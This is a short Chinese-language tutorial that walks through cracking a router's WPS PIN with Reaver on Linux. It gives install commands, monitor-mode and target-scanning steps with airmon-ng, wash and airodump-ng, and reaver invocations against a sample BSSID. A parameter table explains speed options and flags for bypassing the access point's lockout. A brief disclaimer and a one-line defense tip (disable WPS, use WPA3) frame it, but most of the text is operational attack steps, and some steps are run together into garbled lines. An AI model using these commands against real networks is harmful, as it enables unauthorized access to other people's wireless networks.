本文詳細介紹在 Linux 環境下使用 Reaver 工具,透過窮舉 WPS PIN 碼來測試無線路由器安全性的完整流程。僅供授權測試與學術研究使用,嚴禁用於非法入侵。
sudo apt-get update
sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev build-essential
tar -xzvf reaver-1.4.tar.gz
cd reaver-1.4/src
./configure
make
sudo make install
tar -xzvf aircrack-ng-x.x.tar.gz
cd aircrack-ng-x.x
./configure
make
sudo make install
airmon-ng start wlan0(產生 mon0 介面)wash -i mon0 -C,記下目標 BSSID (MAC) 與頻道airodump-ng mon0 確認信號強度、加密方式等reaver -i mon0 -b 目標MAC -a -S -vv
# 進階參數範例:
reaver -i mon0 -b D8:5D:4C:37:78:F6 -a -S -vv -d 0 -c 頻道
| 參數 | 說明 |
|---|---|
-i | 監聽介面(通常為 mon0) |
-b | 目標 AP 的 BSSID (MAC) |
-a | 自動偵測最佳進階參數 |
-S | 使用小型 DH 金鑰加速破解(推薦) |
-vv | 顯示詳細過程 |
-d 0 | 嘗試間延遲 0 秒(加快速度,易觸發 AP 鎖定) |
-c | 指定頻道(避免跳頻) |
-L | 忽略 AP 回報的鎖定狀態 |
-w | 模擬 Windows 7 註冊器 |
-r x:y(每 x 次暫停 y 秒)或 -L 繞過鎖定路由器管理介面中關閉 WPS 功能、升級韌體、使用 WPA3 加密,才能從根本防範此類攻擊。